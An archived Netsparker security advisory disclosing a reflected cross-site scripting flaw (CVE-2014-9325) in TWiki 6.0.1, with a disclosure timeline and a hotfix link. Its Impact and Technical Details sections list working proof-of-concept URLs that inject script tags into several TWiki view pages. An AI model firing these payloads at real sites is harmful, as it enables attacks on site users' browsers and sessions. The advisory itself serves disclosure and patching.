[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

TWiki Security Advisory - XSS Vulnerability - CVE-2014-9325



Information
--------------------
Advisory by Netsparker.
Name: XSS Vulnerability with QUERYSTRING and QUERYPARAMSTRING in TWiki
Affected Software : TWiki
Affected Versions: 6.0.1 and possibly below
Vendor Homepage : http://www.twiki.org/
Vulnerability Type : Cross-site Scripting
Severity : Important
CVE ID: CVE-2014-9325
Netsparker Advisory Reference : NS-14-041

Advisory URL
------------
https://www.netsparker.com/cve-2014-9325-xss-vulnerability-in-twiki/

Impact
--------------------

A malicious person can use specially crafted URL parameters to TWiki
scripts that execute arbitrary JavaScript code in the browser.
Examples:

Specially crafted parameter to the view script of TWiki:

GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325
vulnerable')</script>

TWiki decodes the URL parameters and pops up a JavaScript alert box
showing "CVE-2014-9325 vulnerable!"

Technical Details
--------------------

/bin/view/Main/TWikiPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TWikiTopics?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/Sandbox/WebPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WebNotify?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WikiName?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TextFormattingRules?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>

For more information on cross-site scripting vulnerabilities read the
following article:
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/

Advisory Timeline
--------------------

09/12/2014 - First Contact
09/12/2014 - Vulnerability Fixed
18/12/2014 - Advisory Released

Solution
--------------------

http://twiki.org/cgi-bin/view/ST/SecurityAlert-CVE-2014-9325#Hotfix_for_TWiki_Production_Rele

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner.

About Netsparker
--------------------
Netsparker can find and report security issues and vulnerabilities
such as SQL Injection and Cross-site Scripting (XSS) in all websites
and web applications regardless of the platform and the technology
they are built on. Netsparker's unique detection and exploitation
techniques allows it to be dead accurate in reporting hence it's the
first and the only False Positive Free web application security
scanner. For more information visit https://www.netsparker.com.